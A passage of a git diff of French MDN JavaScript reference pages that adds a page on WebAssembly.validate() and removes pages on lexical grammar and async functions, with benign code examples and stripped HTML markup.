On voit ici qu'il faut appeler la fonction après avoir appeler l'opérateur sur l'accesseur (autrement dit, on écrit get(0)() plutôt que get(0)) .

+ +

Dans cet exemple, on montre comment créer et manipuler un tableau en JavaScript mais ce tableau est également accessible et manipulable depuis l'instance WebAssembly.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblytableprototypeset', 'set()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.Table.set")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/validate/index.html b/files/fr/web/javascript/reference/global_objects/webassembly/validate/index.html new file mode 100644 index 0000000000..c00eb54e12 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/webassembly/validate/index.html @@ -0,0 +1,81 @@ +--- +title: WebAssembly.validate() +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/validate +tags: + - API + - JavaScript + - Méthode + - Reference + - WebAssembly +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/validate +--- +
{{JSRef}}
+ +

La fonction WebAssembly.validate() permet de valider un tableau typé de bytecode WebAssembly et renvoie un booléen qui indique si le contenu du tableau forme un module WebAssembly valide (true) ou non (false).

+ +

Syntaxe

+ +
WebAssembly.validate(bufferSource);
+ +

Paramètres

+ +
+
bufferSource
+
Un tableau typé ou un {{jsxref("ArrayBuffer")}} qui contient le bytecode du module qu'on souhaite valider.
+
+ +

Valeur de retour

+ +

Un booléen qui indique si la source est un code WebAssembly valide (true) ou non (false).

+ +

Exceptions

+ +

Si la valeur passée en argument n'est pas un tableau typé ou un {{jsxref("ArrayBuffer")}}, une exception {{jsxref("TypeError")}} sera levée.

+ +

Exemples

+ +

Dans l'exemple suivant, (cf. le fichier validate.html du code source, ainsi que l'exemple live), on récupère un module .wasm et on le convertit en un tableau typé. Ensuite, on appelle la méthode validate() afin de vérifier si le module est valide.

+ +
fetch('simple.wasm').then(response =>
+  response.arrayBuffer()
+).then(function(bytes) {
+  var valid = WebAssembly.validate(bytes);
+  console.log("Les octets forment un module "
+    + (valid ? "" : "in") + "valide.");
+});
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblyvalidate', 'validate()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.validate")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/grammaire_lexicale/index.html b/files/fr/web/javascript/reference/grammaire_lexicale/index.html deleted file mode 100644 index 62931aa6a4..0000000000 --- a/files/fr/web/javascript/reference/grammaire_lexicale/index.html +++ /dev/null @@ -1,593 +0,0 @@ ---- -title: Grammaire lexicale -slug: Web/JavaScript/Reference/Grammaire_lexicale -tags: - - Avancé - - Grammaire - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Lexical_grammar ---- -
{{JsSidebar("More")}}
- -

Cette page décrit la grammaire lexicale de JavaScript. Le code source d'un script ECMAScript est analysé de gauche à droite et est converti en une série d'éléments qui sont : des jetons, des caractères de contrôle, des terminateurs de lignes, des commentaires ou des blancs. ECMAScript définit également certains mots-clés et littéraux. ECMAScript possède également des règles pour insérer automatiquement des points-virgules à la fin des instructions.

- -

Caractères de contrôle

- -

Les caractères de contrôle n'ont aucune représentation visuelle mais sont utilisés pour contrôler l'interprétation du texte.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Caractères de contrôle au format Unicode
Point de codeNomAbréviationDescription
U+200CAntiliant sans chasse (zero width non-joiner en anglais)<ZWNJ>Placé entre des caractères pour empêcher qu'ils soient connectés par une ligature dans certaines langues (Wikipédia).
U+200DLiant sans chasse (zero width joiner en anglais)<ZWJ>Placé entre des caractères qui ne seraient normalement pas connectés pour les afficher comme connectés dans certaines langues (Wikipédia).
U+FEFFIndicateur d'ordre des octets (byte order mark en anglais)<BOM>Utilisé au début d'un script pour indiquer qu'il est en Unicode et quel est l'ordre des octets (Wikipedia).
- -

Blancs

- -

Les caractères d'espacement (blancs) sont utilisés pour des raisons de lisibilité et permetttent de séparer les différents fragments entre eux. Ces caractères sont généralement inutiles au code. Les outils de minification sont souvent utilisés pour retirer les blancs afin de réduire le volume de données à transférer.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Caractères d'espacament
Point de codeNomAbréviationDescriptionSéquence d'échappement
U+0009Tabulation (horizontale)<HT>Tabulation horizontale\t
U+000BTabulation verticale<VT>Tabulation verticale\v
U+000CCaractère de saut de page (form feed en anglais)<FF>Caractère de contrôle pour le saut de page (Wikipédia).\f
U+0020Espace sécable (space en anglais)<SP>Espace sécable
U+00A0Espace insécable (no-break space en anglais)<NBSP>Espace insécable
AutresAutres caractères d'espaces Unicode<USP>Espaces Unicode sur Wikipédia
- -

Terminateurs de lignes

- -

En plus des blancs, les caractères de fin de ligne (terminateurs de lignes) sont utilisés pour améliorer la lisibilité du texte. Cependant, dans certains cas, les terminateurs de lignes peuvent influencer l'exécution du code JavaScript là où ils sont interdits. Les terminateurs de lignes affectent également le processus d'insertion automatique des points-virgules. Les terminateurs de lignes correspondent à la classe \s des expressions rationnelles.

- -

Seuls les points de code Unicode qui suivent sont traités comme des fins de lignes en ECMAScript, les autres caractères sont traités comme des blancs (par exemple : Next Line (nouvelle ligne) : NEL, U+0085 est considéré comme un blanc).

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Caractères de fin de ligne
Point de codeNomAbréviationDescriptionSéquence d'échappement
U+000ANouvelle ligne<LF>Caractère de nouvelle ligne pour les systèmes UNIX.\n
U+000DRetour chariot<CR>Caractère de nouvelle ligne pour les systèmes Commodore et les premiers Mac.\r
U+2028Séparateur de ligne<LS>Wikipédia
U+2029Séparateur de paragraphe<PS>Wikipédia
- -

Commentaires

- -

Les commentaires sont utilisés pour fournir des notes, des suggestions, des indications ou des avertissements sur le code JavaScript. Cela peut en faciliter la lecture et la compréhension. Ils peuvent également être utilisés pour empêcher l'exécution d'un certain code ; cela peut être pratique lors du débogage.

- -

En JavaScript, Il existe actuellement deux façons de former des commentaires (cf. ci-après pour une troisième méthode en cours de discussion).

- -

Commentaire sur une ligne

- -

La première façon est d'utiliser // (double barre oblique), pour commenter tout le texte qui suit (sur la même ligne). Par exemple :

- -
function comment() {
-  // Voici un commentaire d'une ligne en JavaScript
-  console.log("Hello world !");
-}
-comment();
-
- -

Commentaire sur plusieurs lignes

- -

La seconde façon est d'utiliser /* */, qui est plus flexible.

- -

Il est possible d'utiliser cette forme sur une seule ligne :

- -
function comment() {
-  /* Voici un commentaire d'une ligne en JavaScript */
-  console.log("Hello world !");
-}
-comment();
- -

Mais également sur plusieurs lignes, comme ceci :

- -
function comment() {
- /* Ce commentaire s'étend sur plusieurs lignes. Il n'y a
-    pas besoin de clore le commentaire avant d'avoir
-     fini. */
-  console.log("Hello world !");
-}
-comment();
- -

Il est également possible d'utiliser un commentaire au milieu d'une ligne. En revanche, cela rend le code plus difficile à lire et devrait être utilisé avec attention :

- -
function comment(x) {
-  console.log("Hello " + x /* insérer la valeur de x */ + " !");
-}
-comment("world");
- -

On peut également encadrer du code pour l'empêcher d'être exécuté. Par exemple :

- -
function comment() {
-  /* console.log("Hello world !"); */
-}
-comment();
- -

Ici, l'appel console.log() n'a jamais lieu car il fait partie d'un commentaire. On peut ainsi désactiver plusieurs lignes de code d'un coup.

- -

Commentaire d'environnement (hashbang)

- -

Une troisième syntaxe, en cours de standardisation par ECMAScript, permet d'indiquer l'environnement dans lequel est exécuté le script via un commentaire hashbang. Un tel commentaire commence par #! et est uniquement valide au tout début du script ou du module (aucun espace/blanc n'est autorisé avant #!). Un tel commentaire ne tient que sur une seule ligne et il ne peut y avoir qu'un seul commentaire de ce type.

- -
#!/usr/bin/env node
-
-console.log("Coucou le monde");
-
- -

Les commentaires d'environnements sont conçus pour fonctionner comme les shebangs qu'on peut trouver sous Unix et indiquent l'interpréteur à utiliser pour exécuter le script ou le module.

- -
-

Attention ! Bien qu'utiliser un BOM avant le hashbang fonctionne dans un navigateur, cela n'est pas conseillé. En effet, un BOM empêchera le bon fonctionnement sous Unix/Linux. Utilisez un encodage UTF-8 sans BOM si vous souhaitez exécuter vos scripts depuis une invite de commande.

-
- -

Si vous souhaitez placer un commentaire en début de fichier sans indiquer d'environnement d'exécution spécifique, on pourra utiliser le commentaire classique avec //.

- -

Mots-clés

- -

Mots-clés réservés selon ECMAScript 2015

- -
-
    -
  • {{jsxref("Instructions/break", "break")}}
    • -
  • {{jsxref("Instructions/switch", "case")}}
    • -
  • {{jsxref("Opérateurs/class","class")}}
    • -
  • {{jsxref("Instructions/try...catch", "catch")}}
    • -
  • {{jsxref("Instructions/const", "const")}}
    • -
  • {{jsxref("Instructions/continue", "continue")}}
    • -
  • {{jsxref("Instructions/debugger", "debugger")}}
    • -
  • {{jsxref("Instructions/default", "default")}}
    • -
  • {{jsxref("Opérateurs/L_opérateur_delete", "delete")}}
    • -
  • {{jsxref("Instructions/while", "do")}}
    • -
  • {{jsxref("Instructions/if...else", "else")}}
    • -
  • {{jsxref("Instructions/export", "export")}}
    • -
  • {{jsxref("Classes/extends","extends")}}
    • -
  • {{jsxref("Instructions/try...catch", "finally")}}
    • -
  • {{jsxref("Instructions/for", "for")}}
    • -
  • {{jsxref("Instructions/function", "function")}}
    • -
  • {{jsxref("Instructions/if...else", "if")}}
    • -
  • {{jsxref("Instructions/import", "import")}}
    • -
  • {{jsxref("Instructions/for...in", "in")}}
    • -
  • {{jsxref("Opérateurs/instanceof", "instanceof")}}
    • -
  • {{jsxref("Opérateurs/L_opérateur_new", "new")}}
    • -
  • {{jsxref("Instructions/return", "return")}}
    • -
  • {{jsxref("Opérateurs/super", "super")}}
    • -
  • {{jsxref("Instructions/switch", "switch")}}
    • -
  • {{jsxref("Opérateurs/L_opérateur_this", "this")}}
    • -
  • {{jsxref("Instructions/throw", "throw")}}
    • -
  • {{jsxref("Instructions/try...catch", "try")}}
    • -
  • {{jsxref("Opérateurs/L_opérateur_typeof", "typeof")}}
    • -
  • {{jsxref("Instructions/var", "var")}}
    • -
  • {{jsxref("Opérateurs/L_opérateur_void", "void")}}
    • -
  • {{jsxref("Instructions/while", "while")}}
    • -
  • {{jsxref("Instructions/with", "with")}}
    • -
  • {{jsxref("Opérateurs/yield","yield")}}
    • -
-
- -

Mots-clés réservés pour le futur

- -

Les mots-clés qui suivent ont été réservés pour une utilisation future dans la spécification ECMAScript. Ils n'ont actuellement aucune utilité mais pourrait être utilisés par la suite. Ils ne peuvent donc pas être utilisés comme identifiants. Ces mots-clés ne peuvent être utilisés ni en mode strict ni en mode non strict.

- -
    -
  • enum
    • -
  • await (lorsqu'il est utilisé dans le contexte d'un module)
    • -
- -

Les mots-clés suivants sont réservés dans du code en mode strict :

- -
-
    -
  • implements
    • -
  • {{jsxref("Instructions/let", "let")}}
    • -
  • package
    • -
  • protected
    • -
  • static
    • -
  • interface
    • -
  • private
    • -
  • public
    • -
-
- -

Mots-clés réservés pour un usage future dans les anciens standards

- -

Les mots-clés suivants sont réservés dans les anciennes spécifications ECMAScript (ECMAScript 1 à 3).

- -
-
    -
  • abstract
    • -
  • boolean
    • -
  • byte
    • -
  • char
    • -
  • double
    • -
  • final
    • -
  • float
    • -
  • goto
    • -
  • int
    • -
  • long
    • -
  • native
    • -
  • short
    • -
  • synchronized
    • -
  • throws
    • -
  • transient
    • -
  • volatile
    • -
-
- -

Par ailleurs, les littéraux null, true, et false sont réservés dans ECMAScript pour leur usage normal.

- -

Utilisation des mots-clés réservés

- -

Les mots-clés réservés ne le sont que pour les identifiants (et non pour les IdentifierNames) . Comme décrit dans es5.github.com/#A.1, dans l'exemple qui suit, on a, légalement, des IdentifierNames qui utilisent des ReservedWords.

- -
a.import
-a["import"]
-a = { import: "test" }.
-
- -

En revanche, dans ce qui suit, c'est illégal car c'est un identifiant. Un identifiant peut être un IdentifierName mais pas un mot-clé réservé. Les identifiants sont utilisés pour les FunctionDeclaration (déclarations de fonction), les FunctionExpression (expressions de fonction), les VariableDeclaration (déclarations de variable).

- -
function import() {} // Illégal.
- -

Littéraux

- -

Littéral null

- -

Voir aussi la page {{jsxref("null")}} pour plus d'informations.

- -
null
- -

Littéraux booléens

- -

Voir aussi la page {{jsxref("Boolean")}} pour plus d'informations.

- -
true
-false
- -

Littéraux numériques

- -

Décimaux

- -
1234567890
-42
-
-// Attention à l'utilisation de zéros en début :
-
-0888 // 888 est compris comme décimal
-0777 // est compris comme octal et égale 511 en décimal
-
- -

Les littéraux décimaux peuvent commencer par un zéro (0) suivi d'un autre chiffre. Mais si tous les chiffres après le 0 sont (strictement) inférieurs à 8, le nombre sera analysé comme un nombre octal. Cela n'entraînera pas d'erreur JavaScript, voir {{bug(957513)}}. Voir aussi la page sur {{jsxref("parseInt", "parseInt()")}}.

- -

Binaires

- -

La représentation binaire des nombres peut être utilisée avec une syntaxe qui comporte un zéro (0) suivi par le caractère latin "B" (minuscule ou majuscule) (0b ou 0B). Cette syntaxe est apparue avec ECMAScript 2015 et il faut donc faire attention au tableau de compatibilité pour cette fonctionnalité. Si les chiffres qui composent le nombre ne sont pas 0 ou 1, cela entraînera une erreur {{jsxref("SyntaxError")}} : "Missing binary digits after 0b".

- -
var FLT_SIGNBIT  = 0b10000000000000000000000000000000; // 2147483648
-var FLT_EXPONENT = 0b01111111100000000000000000000000; // 2139095040
-var FLT_MANTISSA = 0B00000000011111111111111111111111; // 8388607
- -

Octaux

- -

La syntaxe pour représenter des nombres sous forme octale est : un zéro (0), suivi par la lettre latine "O" (minuscule ou majuscule) (ce qui donne 0o ou 0O). Cette syntaxe est apparue avec ECMAScript 2015 et il faut donc faire attention au tableau de compatibilité pour cette fonctionnalité. Si les chiffres qui composent le nombre ne sont pas compris entre 0 et 7, cela entraînera une erreur {{jsxref("SyntaxError")}} : "Missing octal digits after 0o".

- -
var n = 0O755; // 493
-var m = 0o644; // 420
-
-// Aussi possible en utilisant des zéros en début du nombre (voir la note ci-avant)
-0755
-0644
-
- -

Hexadécimaux

- -

Les littéraux hexadécimaux ont pour syntaxe : un zéro (0), suivi par la lettre latine "X" (minuscule ou majuscule) (ce qui donne 0x ou 0X). Si les chiffres qui composent le nombre sont en dehors des unités hexadécimales (0123456789ABCDEF), cela entraînera une erreur {{jsxref("SyntaxError")}} : "Identifier starts immediately after numeric literal".

- -
0xFFFFFFFFFFFFFFFFF // 295147905179352830000
-0x123456789ABCDEF   // 81985529216486900
-0XA                 // 10
-
- -

Littéraux BigInt

- -

Le type {{jsxref("BigInt")}} est un type numérique primitif de JavaScript qui permet de représenter des entiers avec une précision arbitraire. De tels littéraux s'écrivent en ajoutant un n à la fin d'un entier.

- -
123456789123456789n (nombre décimal, en base 10)
-0o7777777777777777n (nombre octal, en base 8)
-0x123456789ABCDEF1n (nombre hexadécimal, en base 16)
-0b0101010101110101n (nombre binaire, en base 2)
-
- -

Voir aussi le paragraphe sur les grands entiers/BigInt sur les structures de données en JavaScript.

- -

Littéraux objets

- -

Voir aussi les pages {{jsxref("Object")}} et {{jsxref("Opérateurs/Initialisateur_objet","Initialisateur d'objet","",1)}} pour plus d'informations.

- -
var o = { a: "toto", b: "truc", c: 42 };
-
-// notation raccourcie depuis ES6
-var a = "toto", b = "truc", c = 42;
-var o = {a, b, c};
-// plutôt que
-var o = { a: a, b: b, c: c };
-
- -

Littéraux de tableaux

- -

Voir aussi la page {{jsxref("Array")}} pour plus d'informations.

- -
[1954, 1974, 1990, 2014]
- -

Littéraux de chaînes de caractères

- -

Un littéral de chaîne de caractères correspond à zéro ou plusieurs codets Unicode entourés de simples ou de doubles quotes. Les codets Unicode peuvent également être représentés avec des séquences d'échappements. Tous les codets peuvent apparaître dans un littéral de chaîne de caractères à l'exception de ces trois codets :

- -
    -
  • U+005C \ (barre oblique inverse)
    • -
  • U+000D (retour chariot, carriage return, CR)
    • -
  • U+000A (saut de ligne, line feed, LF)
    • -
- -

Avant la proposition consistant à rendre les chaînes JSON valides selon ECMA-262, les caractères U+2028 et U+2029 étaient également interdits.

- -

Tous les codets peuvent être écrits sous la forme d'une séquence d'échappement. Les littéraux de chaînes de caractères sont évalués comme des valeurs String ECMAScript. Lorsque ces valeurs String sont générées, les codets Unicode sont encodés en UTF-16.

- -
'toto'
-"truc"
- -

Séquence d'échappement hexadécimale

- -

Une séquence d'échappement hexadécimale consiste en la succession de \x et de deux chiffres hexadécimaux représentant un codet sur l'intervalle 0x0000 à 0x00FF.

- -
'\xA9' // "©"
-
- -

Séquence d'échappement Unicode

- -

La séquence d'échappement Unicode est composée de \u suivi de quatre chiffres hexadécimaux. Chacun de ces chiffres définit un caractères sur deux octets selon l'encodage UTF-16. Pour les codes situés entre U+0000 et U+FFFF, les chiffres à utiliser sont identiques au code. Pour les codes supérieurs, il faudra utiliser deux séquences d'échappement dont chacune représentera un demi-codet de la paire de surrogates.

- -

Voir aussi {{jsxref("String.fromCharCode()")}} et {{jsxref("String.prototype.charCodeAt()")}}.

- -
'\u00A9' // "©" (U+A9)
- -

Échappement de points de code Unicode

- -

Apparu avec ECMAScript 2015, l'échappement de points de code Unicode permet d'échapper n'importe quel caractère en utilisant une notation hexadécimale. Il est possible de le faire pour échapper les points de code Unicode dont la représentation va jusqu'à 0x10FFFF. Avec la séquence « simple » d'échappement Unicode, il était nécessaire d'échapper respectivement les deux demi-codets d'une paire si on voulait échapper le caractère correspondant, avec cette nouvelle méthode, ce n'est plus nécessaire de faire la distinction.

- -

Voir également {{jsxref("String.fromCodePoint()")}} et {{jsxref("String.prototype.codePointAt()")}}.

- -
'\u{2F804}' // CJK COMPATIBILITY IDEOGRAPH-2F804 (U+2F804)
-
-// avec l'ancienne méthode d'échappement, cela aurait été écrit
-// avec une paire de surrogates
-'\uD87E\uDC04'
- -

Littéraux d'expressions rationnelles

- -

Voir la page RegExp pour plus d'informations.

- -
/ab+c/g
-
-// Un littéral pour une expression rationnelle
-// vide. Le groupe non-capturant est utilisé pour
-// lever l'ambigüité avec les commentaires
-/(?:)/
- -

Littéraux modèles (gabarits ou templates)

- -

Voir également la page sur les gabarits de chaînes de caractères pour plus d'informations.

- -
`chaîne de caractères`
-
-`chaîne de caractères ligne 1
- chaîne de caractères ligne 2`
-
-`chaîne1 ${expression} chaîne2`
-
-tag `chaîne1 ${expression} chaîne2`
- -

Insertion automatique de points-virgules

- -

Certaines instructions JavaScript doivent finir par un point-virgule et sont donc concernées par l'insertion automatique de points-virgules (ASI pour automatic semicolon insertion en anglais) :

- -
    -
  • Instruction vide
    • -
  • instruction de variable, let, const
    • -
  • import, export, déclaration de module
    • -
  • Instruction d'expression
    • -
  • debugger
    • -
  • continue, break, throw
    • -
  • return
    • -
- -

La spécification ECMAScript mentionne trois règles quant à l'insertion de points-virgules :

- -

1. Un point-vrigule est inséré avant un terminateur de ligne ou une accolade ("}") quand celui ou celle-ci n'est pas autorisé par la grammaire

- -
{ 1 2 } 3
-// est donc transformé, après ASI, en :
-{ 1 2 ;} 3;
- -

2. Un point-virgule est inséré à la fin lorsqu'on détecte la fin d'une série de jetons en flux d'entrée et que le parseur est incapable d'analyser le flux d'entrée comme un programme complet.

- -

Ici ++ n'est pas traité comme opérateur postfixe s'appliquant à la variable b car il y a un terminateur de ligne entre b et ++.

- -
a = b
-++c
-
-// devient, après ASI :
-
-a = b;
-++c;
-
- -

3. Un point-virgule est inséré à la fin, lorsqu'une instruction, à production limitée pour la grammaire, est suivie par un terminateur de ligne. Les instructions concernées par cette règle sont :

- -
    -
  • Expressions postfixes (++ et --)
    • -
  • continue
    • -
  • break
    • -
  • return
    • -
  • yield, yield*
    • -
  • module
    • -
- -
return
-a + b
-
-// est transformé, après ASI, en :
-
-return;
-a + b;
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName("ES1")}}{{Spec2("ES1")}}Définition initiale.
{{SpecName('ES5.1', '#sec-7', 'Lexical Conventions')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-ecmascript-language-lexical-grammar', 'Lexical Grammar')}}{{Spec2('ES6')}}Ajout : littéraux binaires et octaux, échappements de points de code Unicode, modèles
{{SpecName('ESDraft', '#sec-ecmascript-language-lexical-grammar', 'Lexical Grammar')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.grammar")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/instructions/async_function/index.html b/files/fr/web/javascript/reference/instructions/async_function/index.html deleted file mode 100644 index 45c7f441b8..0000000000 --- a/files/fr/web/javascript/reference/instructions/async_function/index.html +++ /dev/null @@ -1,271 +0,0 @@ ---- -title: async function -slug: Web/JavaScript/Reference/Instructions/async_function -tags: - - Experimental - - Function - - Instruction - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Statements/async_function ---- -
{{jsSidebar("Statements")}}
- -

La déclaration async function définit une fonction asynchrone qui renvoie un objet {{jsxref("Objets_globaux/AsyncFunction","AsyncFunction")}}. Une fonction asynchrone est une fonction qui s'exécute de façon asynchrone grâce à la boucle d'évènement en utilisant une promesse ({{jsxref("Promise")}}) comme valeur de retour.

- -
-

On peut également définir des fonctions asynchrones grâce au constructeur {{jsxref("AsyncFunction")}} et via une {{jsxref("Opérateurs/async_function", "expression de fonction asynchrone","",1)}}.

-
- -
{{EmbedInteractiveExample("pages/js/statement-async.html", "taller")}}
- - - -

Syntaxe

- -
async function name([param[, param[, ... param]]]) {
-   instructions
-}
-
- -

Paramètres

- -
-
name
-
Le nom de la fonction.
-
- -
-
param
-
Le nom d'un argument à passer à la fonction.
-
- -
-
instructions
-
Les instructions qui composent le corps de la fonction.
-
- -

Valeur de retour

- -

Une promesse ({{jsxref("Promise")}}) qui sera résolue avec la valeur renvoyée par la fonction asynchrone ou qui sera rompue s'il y a une exception non interceptée émise depuis la fonction asynchrone.

- -

Description

- -

Une fonction async peut contenir une expression {{jsxref("Opérateurs/await", "await")}} qui interrompt l'exécution de la fonction asynchrone et attend la résolution de la promesse passée Promise. La fonction asynchrone reprend ensuite puis renvoie la valeur de résolution.
-
- Le mot-clé await est uniquement valide au sein des fonctions asynchrones. Si ce mot-clé est utilisé en dehors du corps d'une fonction asynchrone, cela provoquera une exception {{jsxref("SyntaxError")}}.

- -
-

Note : Lorsqu'une fonction aysnchrone est mise en pause, la fonction appelante continue son exécution (car elle a reçu la promesse implicite renvoyée par la fonction async).

-
- -
-

Note : Le but des fonctions async/await est de simplifier l'utilisation synchrone des promesses et d'opérer sur des groupes de promesses. De la même façon que les promesses sont semblables à des callbacks structurés, async/await est semblable à la combinaison des générateurs et des promesses.

-
- -

Exemples

- -

Exemple simple

- -
var resolveAfter2Seconds = function() {
-  console.log("Initialisation de la promesse lente");
-  return new Promise(resolve => {
-    setTimeout(function() {
-      resolve("lente");
-      console.log("La promesse lente est terminée");
-    }, 2000);
-  });
-};
-
-var resolveAfter1Second = function() {
-  console.log("Initialisation de la promesse rapide");
-  return new Promise(resolve => {
-    setTimeout(function() {
-      resolve("rapide");
-      console.log("La promesse rapide est terminée");
-    }, 1000);
-  });
-};
-
-var sequentialStart = async function() {
-  console.log('==Début séquentiel==');
-
-  // 1. L'exécution atteint ce point quasi-instantanément
-  const lente = await resolveAfter2Seconds();
-  console.log(lente); // 2. cela s'exécute 2s après 1.
-
-  const rapide = await resolveAfter1Second();
-  console.log(rapide); // 3. cela s'exécute 3s après 1.
-}
-
-var concurrentStart = async function() {
-  console.log('==Début concurrentiel avec await==');
-  const lente = resolveAfter2Seconds(); // le minuteur démarre immédiatement
-  const rapide = resolveAfter1Second();  // le minuteur démarre immédiatement
-
-  // 1. L'exécution atteint ce point quasi-instantanément
-  console.log(await lente); // 2. s'exécute 2s après 1.
-  console.log(await rapide); // 3. s'exécute 2s après 1., immédiatement après 2.,
-                             // car "rapide" est déjà résolue
-}
-
-var concurrentPromise = function() {
-  console.log('==Début concurrentiel avec Promise.all==');
-  return Promise.all([resolveAfter2Seconds(), resolveAfter1Second()]).then((messages) => {
-    console.log(messages[0]); // lente
-    console.log(messages[1]); // rapide
-  });
-}
-
-var parallel = async function() {
-  console.log('==Exécution parallèle avec await Promise.all==');
-
-  // Démarre 2 tâches en parallèle et on attend que les deux soient finies
-  await Promise.all([
-      (async()=>console.log(await resolveAfter2Seconds()))(),
-      (async()=>console.log(await resolveAfter1Second()))()
-  ]);
-}
-
-// Cette fonction ne gère pas les erreurs
-// voir les avertissement ci-après !
-var parallelPromise = function() {
-  console.log('==Exécution parallèle avec Promise.then==');
-  resolveAfter2Seconds().then((message)=>console.log(message));
-  resolveAfter1Second().then((message)=>console.log(message));
-}
-
-sequentialStart(); // après 2 secondes, "lente" est affichée, après une
-                   // autre seconde, c'est "rapide" qui est affichée
-
-// on attend que l'étape précédente soit terminée
-setTimeout(concurrentStart, 4000); // 2s avant d'afficher "lente" puis "rapide"
-
-// on attend à nouveau
-setTimeout(concurrentPromise, 7000); // identique à concurrentStart
-
-// on attend à nouveau
-setTimeout(parallel, 10000); // réellement parallele : après 1 seconde,
-                             // affiche "rapide" et après une autre seconde
-                             // affiche "lente"
-
-// on attend à nouveau
-setTimeout(parallelPromise, 13000); // identique à parallel
-
- -
-

await et l'exécution parallèle

- -

Dans sequentialStart, l'exécution est arrêtée pendant deux secondes avant le premier await puis encore une autre seconde avant le deuxième await. Le deuxième minuteur n'est pas créé tant que le premier n'est pas écoulé. Le code s'exécute donc au moins en 3 secondes.

- -

Avec concurrentStart, les deux minuteurs sont créés puis attendus derrière un await Les minuteurs sont exécutés de façon concurrente. L'ensemble du code se termine donc en au moins 2 secondes plutôt qu'en 3 secondes.
- Toutefois, les appels utilisant  await sont exécutés séquentiellement et la deuxième instruction avec await attendra que la première ait été  traitée. Le minuteur le plus rapide est donc créé juste après le premier.

- -

Si on souhaite avoir deux tâches qui s'exécutent réellement en parallèle, on pourra utiliser  await Promise.all([job1(), job2()]) comme illustré ci-avant avec parallel.

-
- -
-

async/await, Promise.prototype.then() et la gestion des erreurs

- -

La plupart des fonctions asynchrones peuvent être écrites avec des promesses. Toutefois, les fonctions asynchrones qui utilisent async se prêtent mieux à la gestion des erreurs.

- -

concurrentStart et concurrentPromise sont fonctionnellement équivalentes.
- Avec concurrentStart, si l'un des deux appels échoue, l'exception sera immédiatement interceptée et l'exécution de la fonction asynchrone sera interrompue. L'erreur sera propagée à la fonction appelante via la valeur de retour qui est une promesse implicite.
- Pour obtenir les mêmes sécurités avec les promesses, il faut s'assurer que la fonction renvoie une promesse qui gère ce cas d'échec. Pour concurrentPromise cela signifie qu'il faut renvoyer la promesse de Promise.all([]).then().

- -

Bien entendu, il est toutefois possible d'avoir des fonctions asynchrones (avec async) qui gobent des erreurs involontairement. Si on considère la fonction parallel ci-avant, s'il n'y avait eu aucun await ou return pour le résultat de Promise.all([]), aucune erreur n'aurait été propagée.
- Bien que l'exemple parallelPromise paraisse simple, il ne gère aucune erreur du tout. Il aurait fallu utiliser un return Promise.all([]) analogue.

-
- -

Réécrire une chaîne de promesses avec une fonction asynchrone

- -

Lorsqu'on utilise une API qui renvoie des promesses ({{jsxref("Promise")}}), on construit une chaîne de promesses et on divise la fonction en de nombreuses branches :

- -
function getProcessedData(url) {
-  return downloadData(url) // renvoie une promesse
-    .catch(e => {
-      return downloadFallbackData(url);  // renvoie une promesse
-    })
-    .then(v => {
-      return processDataInWorker(v); // renvoie une promesse
-    });
-}
-
- -

Cela peut être réécrit avec une seule fonction asynchrone, de la façon suivante :

- -
async function getProcessedData(url) {
-  let v;
-  try {
-    v = await downloadData(url);
-  } catch(e) {
-    v = await downloadFallbackData(url);
-  }
-  return processDataInWorker(v);
-}
-
- -

On voit dans l'exemple précédent qu'il n'y a pas de await pour l'instruction return car la valeur de retour d'une fonction asynchrone est implicitement enveloppée dans un appel à {{jsxref("Promise.resolve")}}.

- -

Différences entre return et return await

- -

La conversion automatique des valeurs en promesses avec {{jsxref("Promise.resolve")}} ne signifie pas que return await valeurPromesse sera équivalent à return valeurPromesse.

- -

Si on reprend l'exemple précédent et qu'on le réécrit avec return await et qu'on intercepte une éventuelle erreur de la promesse :

- -
async function getProcessedData(url) {
-  let v;
-  try {
-     v = await downloadData(url);
-  } catch(e) {
-    v = await downloadFallbackData(url);
-  }
-  try {
-    return await processDataInWorker(v); // et non plus simplement return
-  } catch(e) {
-    return null;
-  }
-}
- -

Si on avait simplement écrit return processDataInWorker(v);, la promesse renvoyée par la fonction aurait déclenché une exception plutôt que d'être résolue avec la valeur null.

- -

Lorsqu'on utilise return toto;, la valeur toto sera immédiatement renvoyée (sans lever d'exception, quel que soit le cas), tandis que return await toto; attendra la résolution de toto ou son échec et lèvera une exception si besoin avant de parvenir à renvoyer une valeur.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}}{{Spec2('ESDraft')}}
{{SpecName('ES8', '#sec-async-function-definitions', 'async function')}}{{Spec2('ES8')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.async_function")}}

- -

Voir aussi

